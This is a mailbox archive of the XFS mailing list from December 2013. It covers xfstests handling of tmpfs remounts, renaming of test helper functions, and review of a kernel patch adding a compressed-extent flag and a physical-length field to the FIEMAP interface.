<1386706321-15795-1-git-send-email-jayr@google.com> <1386706321-15795-6-git-send-email-jayr@google.com> <20131211074615.GE19248@infradead.org> <20131211224012.GJ10988@dastard> <20131212180130.GA19422@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131212180130.GA19422@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386889019 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143051 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 12, 2013 at 10:01:30AM -0800, Christoph Hellwig wrote: > On Thu, Dec 12, 2013 at 09:40:12AM +1100, Dave Chinner wrote: > > IOWs, adding tmpfs changes the definition of a "generic" test. > > > > i.e. instead of: > > > > _supported_fs generic > > > > these tests are now: > > > > _supported_fs xfs ext2 ext3 ext4 ext4dev btrfs gfs2 nfs udf reiserfs > > > > and by that definition should be in the tests/shared directory.... > > > > That's a bit of a pain, but I really don't like the idea of having > > "generic" tests that aren't actually generic by having to define > > exceptions for them... > > We already have tons of these: Yes, but that's not the same situation as tmpfs here. A generic filesystem fits a certain model but the given configuration/kernel does not necessarily support the feature being tested. Those features are easily testable by a _requires_* line. This case with tmpfs is different - it doesn't support *being unmounted* during a test because it is volatile. That's a fundamental change to the assumptions xfstests makes about filesystems being tested. IOWs, we've got a "generic" filesystem that is anything but generic. Adding "_requires_non_volatile_fs" to all the generic tests that do an unmount so that tmpfs can be considered "generic" is just as painful as modifying the "_supported_fs generic" lines in all the tests. It just leads us to a game of whack-a-mole. I don't know what the solution here is - everything I think of is either messy, ugly or unmaintainable. All I'm trying to do is find a way to handle tmpfs filesystems in a way that is maintainable and doesn't require every developer to be aware of the quirks of tmpfs when writing and reviewing new generic tests.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Dec 12 17:00:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CE2757F51 for ; Thu, 12 Dec 2013 17:00:40 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id AA0AA8F804C for ; Thu, 12 Dec 2013 15:00:40 -0800 (PST) X-ASG-Debug-ID: 1386889238-04bdf013211f4920001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id A4eMteNLYFu0LzNG for ; Thu, 12 Dec 2013 15:00:39 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ak0HAKk/qlJ5LHyk/2dsb2JhbABZgwqDPLBahU+BHRd0giUBAQU6HCMFCwgDDgoJJQ8FJQMhE4gDwxMXFo5+B4Q1BJgUkhWDPSg Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 13 Dec 2013 09:30:38 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VrFFF-0002ud-EU; Fri, 13 Dec 2013 10:00:37 +1100 Date: Fri, 13 Dec 2013 10:00:37 +1100 From: Dave Chinner To: Junho Ryu Cc: Christoph Hellwig , Hugh Dickins , tytso@mit.edu, Boris Ranto , xfs@oss.sgi.com Subject: Re: [PATCH 06/10] xfstests: fix generic/225 to check fiemap support Message-ID: <20131212230037.GL10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 06/10] xfstests: fix generic/225 to check fiemap support References: <1386706321-15795-1-git-send-email-jayr@google.com> <1386706321-15795-7-git-send-email-jayr@google.com> <20131211074657.GF19248@infradead.org> <20131211224229.GK10988@dastard> <20131212180144.GB19422@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386889238 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143051 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Thu, Dec 12, 2013 at 02:44:47PM -0800, Junho Ryu wrote: > >> I'd just rename if _require_fiemap, because we need both xfs_io and > >> kernel support for it, and we need xfs_io support to check for > >> kernel support.... > > > > Fine with me. > > There are 3 more _require_xfs_io_.* functions. I can create another > patch if you want these names to be consistent. > > _require_xfs_io_falloc() > _require_xfs_io_falloc_punch() yes, those 2 can be changed similar to _requires_fiemap > _require_xfs_io_zero() That one is only testing for xfs_io command support, so it should remain the way it is... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Dec 12 17:25:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 828E27F51 for ; Thu, 12 Dec 2013 17:25:16 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0DA46AC00A for ; Thu, 12 Dec 2013 15:25:15 -0800 (PST) X-ASG-Debug-ID: 1386890709-04cbb041666ecf60001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id OAOPUWQYXWcirCBq for ; Thu, 12 Dec 2013 15:25:09 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ak0HAIZFqlJ5LHyk/2dsb2JhbABZgwqDPLBahU+BHRd0giUBAQQBOhwjBQsIAw4KCSUPBSUDIROHfAfDFRcWjn4HhDUEmBSKTIdJgz0o Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 13 Dec 2013 09:54:46 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VrFcZ-0002xB-Fn; Fri, 13 Dec 2013 10:24:43 +1100 Date: Fri, 13 Dec 2013 10:24:43 +1100 From: Dave Chinner To: David Sterba Cc: linux-fsdevel@vger.kernel.org, adilger@dilger.ca, linux-nilfs@vger.kernel.org, mfasheh@suse.com, xfs@oss.sgi.com, hch@infradead.org, linux-btrfs@vger.kernel.org, viro@zeniv.linux.org.uk, linux-ext4@vger.kernel.org, ocfs2-devel@oss.oracle.com Subject: Re: [PATCH 2/4 v3] fiemap: add EXTENT_DATA_COMPRESSED flag Message-ID: <20131212232443.GL31386@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/4 v3] fiemap: add EXTENT_DATA_COMPRESSED flag References: <4f8d5dc5b51a43efaf16c39398c23a6276e40a30.1386778303.git.dsterba@suse.cz> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4f8d5dc5b51a43efaf16c39398c23a6276e40a30.1386778303.git.dsterba@suse.cz> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386890709 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143051 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 12, 2013 at 04:25:59PM +0100, David Sterba wrote: > This flag was not accepted when fiemap was proposed [2] due to lack of > in-kernel users. Btrfs has compression for a long time and we'd like to > see that an extent is compressed in the output of 'filefrag' utility > once it's taught about it. > > For that purpose, a reserved field from fiemap_extent is used to let the > filesystem store along the physcial extent length when the flag is set. > This keeps compatibility with applications that use FIEMAP. I'd prefer to just see the new physical length field always filled out, regardless of whether it is a compressed extent or not. In terms of backwards compatibility to userspace, it makes no difference because the value of reserved/unused fields is undefined by the API. Yes, the implementation zeros them, but there's nothing in the documentation that says "reserved fields must be zero". Hence I think we should just set it for every extent. >From the point of view of the kernel API (fiemap_fill_next_extent), passing the physical extent size in the "len" parameter for normal extents, then passing 0 for the "physical length" makes absolutely no sense. IOWs, what you have created is a distinction between the extent's "logical length" and it's "physical length". For uncompressed extents, they are both equal and they should both be passed to fiemap_fill_next_extent as the same value. Extents where they are different (i.e. encoded extents) is when they can be different. Perhaps fiemap_fill_next_extent() should check and warn about mismatches when they differ and the relevant flags are not set... > diff --git a/include/uapi/linux/fiemap.h b/include/uapi/linux/fiemap.h > index 93abfcd..0e32cae 100644 > --- a/include/uapi/linux/fiemap.h > +++ b/include/uapi/linux/fiemap.h > @@ -19,7 +19,9 @@ struct fiemap_extent { > __u64 fe_physical; /* physical offset in bytes for the start > * of the extent from the beginning of the disk */ > __u64 fe_length; /* length in bytes for this extent */ > - __u64 fe_reserved64[2]; > + __u64 fe_phys_length; /* physical length in bytes, undefined if > + * DATA_COMPRESSED not set */ > + __u64 fe_reserved64; > __u32 fe_flags; /* FIEMAP_EXTENT_* flags for this extent */ > __u32 fe_reserved[3]; > }; The comment for fe_length needs to change, too, because it needs to indicate that it is the logical extent length and that it may be different to the fe_phys_length depending on the flags that are set on the extent. And, FWIW, I wouldn't mention specific flags in the comment here, but do it at the definition of the flags that indicate there is a difference between physical and logical extent lengths.... > @@ -50,6 +52,8 @@ struct fiemap { > * Sets EXTENT_UNKNOWN. */ > #define FIEMAP_EXTENT_ENCODED 0x00000008 /* Data can not be read > * while fs is unmounted */ > +#define FIEMAP_EXTENT_DATA_COMPRESSED 0x00000040 /* Data is compressed by fs. > + * Sets EXTENT_ENCODED */ i.e. here. Cheers, Dave. -- Dave Chinner david@fromorbit.com From jayr@google.com Thu Dec 12 18:00:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5E6667F51 for ; Thu, 12 Dec 2013 18:00:49 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2E5A38F8033 for ; Thu, 12 Dec 2013 16:00:46 -0800 (PST) X-ASG-Debug-ID: 1386892844-04bdf013211f6af0001-NocioJ Received: from mail-ie0-f181.google.com (mail-ie0-f181.google.com [209.85.223.181]) by cuda.sgi.com with ESMTP id 2MIRUWnV3TGpJD7P (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 12 Dec 2013 16:00:44 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-Apparent-Source-IP: 209.85.223.181 X-Barracuda-IPDD: Level1 [google.com/209.85.223.181] Received: by mail-ie0-f181.google.com with SMTP id e14so1731340iej.26 for ; Thu, 12 Dec 2013 16:00:44 -0800 (PST) X-Barracuda-IPDD: Level1 [google.com/209.85.223.181] X-Barracuda-IPDD: Level1 [google.com/209.85.223.181] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=CQe06OChRMPHfcsPEs6D28NBxkHb/3Nl1RQPHfhl/aY=; b=IW1D0hpZhlD/iiFdlJ4wEkH65hkjk0f1dQSUAsvnJAn78Ui2s3NztI2R6hJdr99ek/ P/MMMBBlRTnI07qb6+GFYd+809ueCv0Nd9zv3Rx+dluSCvhQ2LvoEQx9/DR4vxgznVzP mybjV77aq5p26gtP07yJJKd0ZwTGmvDDWJfYKiT0PqscT/7w/fuEpcDuWfuO5w2TfWbo mCnX9A7ZXHwjAIhAt6/MJWI/LGg/C0c1aiGdctxLVYXjWZcK1MeHLJWrQdPrSOW4vbcs ACjOmDuCZ7jvH8QDheOqefy03zDPSrDvjm7pNtsijEIdvOmQlm+gx5PkUvyhYAkgYFkb D/eA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=CQe06OChRMPHfcsPEs6D28NBxkHb/3Nl1RQPHfhl/aY=; b=fCGlYO7mqS+u5KoZHdW3ZtioPoS8QN1pMopza1o7h47lH4dKT7F0+wbJ6+54LtOIU+ wl2z50AiWovlXN5y75Ut5LOavKjdKTnMiJiERIwWDsmWgk1LbzF87WpYuOd0h4VU2Tjv NcFlaP09L6fZvVgz4DXNe1763AhYP6m7JmS3217VLshYtjXyynpsGXjqdGKX+Dx5H5yL rMrvo6rOlqhUHx6IJPtIPjUhHEIh/2PWP2lZQafjdJFzST9ap2HTJYzTx2ZjS7n03gV9 aEB5nsotNAyyc3pYAQX6PdHvlE7pHkRsUVy0PRbaZzEh+f6fPBwU4XcfFolizy19qLnj 9//w== X-Gm-Message-State: ALoCoQmq93TY2hfqOyjE9a7MjEhDUf6bp122d/P0hLpLEb+CHL92Ctl/M+AyQROga103W5h5WP/Y4Xqnaaf/v/BjyAIc7sPjU7GyuxeoskcMSL0utFilKkwlryBdMjwB7yNRAb1BNzN7vA8Iw5QMXcO6HBYfUF6UOLG9b7p6YXrznF5dKsY4Jz1/9RCmCAnmpVftQiw61u6L MIME-Version: 1.0 X-Received: by 10.50.41.106 with SMTP id e10mr93299igl.34.1386892844252; Thu, 12 Dec 2013 16:00:44 -0800 (PST) Received: by 10.64.138.66 with HTTP; Thu, 12 Dec 2013 16:00:44 -0800 (PST) In-Reply-To: <20131212225657.GK10988@dastard> References: <1386706321-15795-1-git-send-email-jayr@google.com> <1386706321-15795-6-git-send-email-jayr@google.com> <20131211074615.GE19248@infradead.org> <20131211224012.GJ10988@dastard> <20131212180130.GA19422@infradead.org> <20131212225657.GK10988@dastard> Date: Thu, 12 Dec 2013 16:00:44 -0800 Message-ID: Subject: Re: [PATCH 05/10] xfstests: do not unmount tmpfs during remount. From: Junho Ryu X-ASG-Orig-Subj: Re: [PATCH 05/10] xfstests: do not unmount tmpfs during remount. To: Dave Chinner Cc: Christoph Hellwig , Hugh Dickins , "Theodore Ts'o" , Boris Ranto , xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-ie0-f181.google.com[209.85.223.181] X-Barracuda-Start-Time: 1386892844 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143052 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature > I don't know what the solution here is - everything I think of is > either messy, ugly or unmaintainable. All I'm trying to do is find a > way to handle tmpfs filesystems in a way that is maintainable and > doesn't require every developer to be aware of the quirks of tmpfs > when writing and reviewing new generic tests.... If it is acceptable that tmpfs running tests which does not make much sense without actually re-mounting devices, all other developers need to care is using _scratch_remount() and _test_remount(). Even if someone does not use the functions, tests will only fail on tmpfs, and people like me who cares about it will be happy to fix it. So far, generic/053 is the only test which does something else between umount and mount. From adilger@dilger.ca Thu Dec 12 18:03:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D136B7F51 for ; Thu, 12 Dec 2013 18:03:09 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 86CE9304062 for ; Thu, 12 Dec 2013 16:03:06 -0800 (PST) X-ASG-Debug-ID: 1386892984-04cb6c537b6e8290001-NocioJ Received: from mail-pd0-f180.google.com (mail-pd0-f180.google.com [209.85.192.180]) by cuda.sgi.com with ESMTP id 8WrUtrwna62mDIep (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 12 Dec 2013 16:03:05 -0800 (PST) X-Barracuda-Envelope-From: adilger@dilger.ca X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.180 Received: by mail-pd0-f180.google.com with SMTP id q10so1388260pdj.25 for ; Thu, 12 Dec 2013 16:03:04 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:content-type:mime-version:subject:from :in-reply-to:date:cc:message-id:references:to; bh=W9l/TATm40+4xCIcMgSgy7NptyBjop27nymDbIRsy0w=; b=JTBynkoiqVw0c/UL4X4EjuFbRU9U2f1FzSDUNBfeUS01bNaao599zStwf44rOD/cNl 7SKVR/3XmlM9SYOwOc73BqD8Y81jV3c4v1vbxlnOyrsMBQmLW+LrWk2h8YXK386sh9HH zaNtZch4rHFteUwbZkn08IvseQtQsys/0h01nF/io/l1Sy2wkIPyWiBQdl+rxOL55F0o lLQHsqFuAvoHVpEMf0ltEm2WNzLsv8mXVt168Ql9g5Fg+Hrjtq1lAuKspB+zPk1WTtHN TDgi/q9q2nT1Cs054/0eSkY9AbvZhqj0thW2Tt1lf/4DZSw67eiT65LseoeM7DlFdcAa OFdA== X-Barracuda-BBL-IP: nil X-Gm-Message-State: ALoCoQklvJORvfsr2akWKtsYat9g/70e5qI4Ak/XNZBA3zfYVHGXR0xHiIbs0vKXs8vbw2rgQaeV X-Received: by 10.68.243.99 with SMTP id wx3mr16337648pbc.29.1386892984698; Thu, 12 Dec 2013 16:03:04 -0800 (PST) Received: from cabot-wlan.adilger.int (S0106002191d9348b.cg.shawcable.net. [96.51.76.157]) by mx.google.com with ESMTPSA id xn12sm217883pac.12.2013.12.12.16.03.01 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Thu, 12 Dec 2013 16:03:03 -0800 (PST) Content-Type: multipart/signed; boundary="Apple-Mail=_5B773B2F-9B4B-46E0-80E9-EC85E4A7A4CC"; protocol="application/pgp-signature"; micalg=pgp-sha1 X-Barracuda-Apparent-Source-IP: 96.51.76.157 Mime-Version: 1.0 (Mac OS X Mail 7.0 \(1822\)) Subject: Re: [PATCH 2/4 v3] fiemap: add EXTENT_DATA_COMPRESSED flag From: Andreas Dilger X-ASG-Orig-Subj: Re: [PATCH 2/4 v3] fiemap: add EXTENT_DATA_COMPRESSED flag In-Reply-To: <20131212232443.GL31386@dastard> Date: Thu, 12 Dec 2013 17:02:57 -0700 Cc: David Sterba , linux-fsdevel , linux-nilfs@vger.kernel.org, Mark Fasheh , xfs@oss.sgi.com, Christoph Hellwig , "linux-btrfs@vger.kernel.org Btrfs" , Alexander Viro , Ext4 Developers List , ocfs2-devel@oss.oracle.com Message-Id: <9520AB36-B728-423A-8EA1-FDD22B79AE90@dilger.ca> References: <4f8d5dc5b51a43efaf16c39398c23a6276e40a30.1386778303.git.dsterba@suse.cz> <20131212232443.GL31386@dastard> To: Dave Chinner X-Mailer: Apple Mail (2.1822) X-Barracuda-Connect: mail-pd0-f180.google.com[209.85.192.180] X-Barracuda-Start-Time: 1386892985 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143052 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- --Apple-Mail=_5B773B2F-9B4B-46E0-80E9-EC85E4A7A4CC Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=us-ascii On Dec 12, 2013, at 4:24 PM, Dave Chinner wrote: > On Thu, Dec 12, 2013 at 04:25:59PM +0100, David Sterba wrote: >> This flag was not accepted when fiemap was proposed [2] due to lack = of >> in-kernel users. Btrfs has compression for a long time and we'd like = to >> see that an extent is compressed in the output of 'filefrag' utility >> once it's taught about it. >>=20 >> For that purpose, a reserved field from fiemap_extent is used to let = the >> filesystem store along the physcial extent length when the flag is = set. >> This keeps compatibility with applications that use FIEMAP. >=20 > I'd prefer to just see the new physical length field always filled > out, regardless of whether it is a compressed extent or not. In > terms of backwards compatibility to userspace, it makes no > difference because the value of reserved/unused fields is undefined > by the API. Yes, the implementation zeros them, but there's nothing > in the documentation that says "reserved fields must be zero". > Hence I think we should just set it for every extent. I'd actually thought the same thing while reading the patch, but I = figured people would object because it implies that old kernels will return a physical length of 0 bytes (which might be valid) and badly-written = tools will not work correctly on older kernels. That said, applications = _should_ be checking the FIEMAP_EXTENT_DATA_COMPRESSED flag, and I suspect in the future fewer developers will be confused if fe_phys_length =3D=3D = fe_length going forward. If the initial tools get it right (in particular filefrag), then = hopefully others will get it correct also. > =46rom the point of view of the kernel API (fiemap_fill_next_extent), > passing the physical extent size in the "len" parameter for normal > extents, then passing 0 for the "physical length" makes absolutely > no sense. >=20 > IOWs, what you have created is a distinction between the extent's > "logical length" and it's "physical length". For uncompressed > extents, they are both equal and they should both be passed to > fiemap_fill_next_extent as the same value. Extents where they are > different (i.e. encoded extents) is when they can be different. > Perhaps fiemap_fill_next_extent() should check and warn about > mismatches when they differ and the relevant flags are not set... Seems reasonable to have a WARN_ONCE() in that case. That would catch = bugs in the filesystem, code as well: WARN_ONCE(phys_len !=3D lgcl_len && !(flags & FIEMAP_EXTENT_DATA_COMPRESSED), "physical len %llu !=3D logical length %llu without = DATA_COMPRESSED\n", phys_len, logical_len, phys_len, logical_len); >> diff --git a/include/uapi/linux/fiemap.h = b/include/uapi/linux/fiemap.h >> index 93abfcd..0e32cae 100644 >> --- a/include/uapi/linux/fiemap.h >> +++ b/include/uapi/linux/fiemap.h >> @@ -19,7 +19,9 @@ struct fiemap_extent { >> __u64 fe_physical; /* physical offset in bytes for the start >> * of the extent from the beginning of the = disk */ >> __u64 fe_length; /* length in bytes for this extent */ >> - __u64 fe_reserved64[2]; >> + __u64 fe_phys_length; /* physical length in bytes, undefined if >> + * DATA_COMPRESSED not set */ >> + __u64 fe_reserved64; >> __u32 fe_flags; /* FIEMAP_EXTENT_* flags for this extent */ >> __u32 fe_reserved[3]; >> }; >=20 > The comment for fe_length needs to change, too, because it needs to > indicate that it is the logical extent length and that it may be > different to the fe_phys_length depending on the flags that are set > on the extent. Would it make sense to rename fe_length to fe_logi_length (or something, I'm open to suggestions), and have a compat macro: #define fe_length fe_logi_length around for older applications? That way, new developers would start to use the new name, old applications would still compile for both newer = and older interfaces, and it doesn't affect the ABI at all. > And, FWIW, I wouldn't mention specific flags in the comment here, > but do it at the definition of the flags that indicate there is > a difference between physical and logical extent lengths.... Actually, I was thinking just the opposite for this field. It seems = useful that the requirement for DATA_COMPRESSED being set is beside = fe_phys_length so that anyone using this field sees the correlation clearly. I don't = expect everyone would read and understand the meaning of all the flags when = looking at the data structure. Cheers, Andreas >> @@ -50,6 +52,8 @@ struct fiemap { >> * Sets = EXTENT_UNKNOWN. */ >> #define FIEMAP_EXTENT_ENCODED 0x00000008 /* Data can = not be read >> * while fs is = unmounted */ >> +#define FIEMAP_EXTENT_DATA_COMPRESSED 0x00000040 /* Data is = compressed by fs. >> + * Sets = EXTENT_ENCODED */ >=20 > i.e. here. >=20 > Cheers, >=20 > Dave. > --=20 > Dave Chinner > david@fromorbit.com Cheers, Andreas --Apple-Mail=_5B773B2F-9B4B-46E0-80E9-EC85E4A7A4CC Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=signature.asc Content-Type: application/pgp-signature; name=signature.asc Content-Description: Message signed with OpenPGP using GPGMail -----BEGIN PGP SIGNATURE----- Comment: GPGTools - http://gpgtools.org iQIVAwUBUqpOsXKl2rkXzB/gAQLHdQ/9HzjsfX711V4fx07kX4E76Eoaj9IHq/a6 1Hu7H9NoH8Ku41/T5Utu84X/uqRyijQq7FAatkU7eqYIkWAMN7LoZZyNOCK5Pk3j P2CZmDXp2NLxv7MMD6lpzX/RMVqdCJwdrNPUBUu0bJc17bcauMWrE658drvKc9Zk ZVKJQIdaij/B2qsxeqe55vhqK7AVgpDWjckSHg6png940LkNz12P4VPeic6q2Gmo VmgJiDvM2LEEEZRqWDMkDuHRq0qd/Hr0ZGMckpDZVWjJI5pI0wYo3RHNmpDH3RHx PooMk4uwR6Q7+82wwemzrIlii5vfg8Ee3S7Uhtoc656c7PhBeYFtTeyh/wVgQe1M w9+VPKXgj51miHkpgxvXYGTcmZyVFqNnlFjSUf5hh8DBUy5ivUlOmQex4RI6hMrz t0jrO/fkgIEIDMbIwUfdC04+xPVAoHubJ5PnB52I9dDjZAi+mxBacpdNFVngxgcO Hpgzr8TVOewwo/wyjy3x3cGPU1X3m8ZpUMKBAHT7k6p2BajZHfrq7A/YcjPhjkJK x3PUzIYRu2ZBVgJffMkeE/rhR0ebla5OuueZ+/Bl3LgcPLI8gzDaktP+yCwAsmDr f1Gt9Nar1nViZk4WjS0LJtZeMtq+EbNjK8PyYrA0ZUnmDpigXjIj8PKlblex9oCp Ix2xkpnlaTw= =Vb5V -----END PGP SIGNATURE----- --Apple-Mail=_5B773B2F-9B4B-46E0-80E9-EC85E4A7A4CC-- From david@fromorbit.com Thu Dec 12 19:23:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 437817F4E for ; Thu, 12 Dec 2013 19:23:40 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3C8A6304053 for ; Thu, 12 Dec 2013 17:23:24 -0800 (PST) X-ASG-Debug-ID: 1386897776-04cb6c537c6eaf50001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id Xh5it5yU0WF5g1qj for ; Thu, 12 Dec 2013 17:22:56 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ak0HAIZgqlJ5LHyk/2dsb2JhbABZgwqDPLBahU+BHRd0giUBAQQBOhwjBQsIAw4KCSUPBSUDIROHfAfCdxcWjn4HhDUEmBSKTIdJgz0o Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 13 Dec 2013 11:52:55 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VrHSt-0003Ce-J0; Fri, 13 Dec 2013 12:22:51 +1100 Date: Fri, 13 Dec 2013 12:22:51 +1100 From: Dave Chinner To: Andreas Dilger Cc: David Sterba , linux-fsdevel , 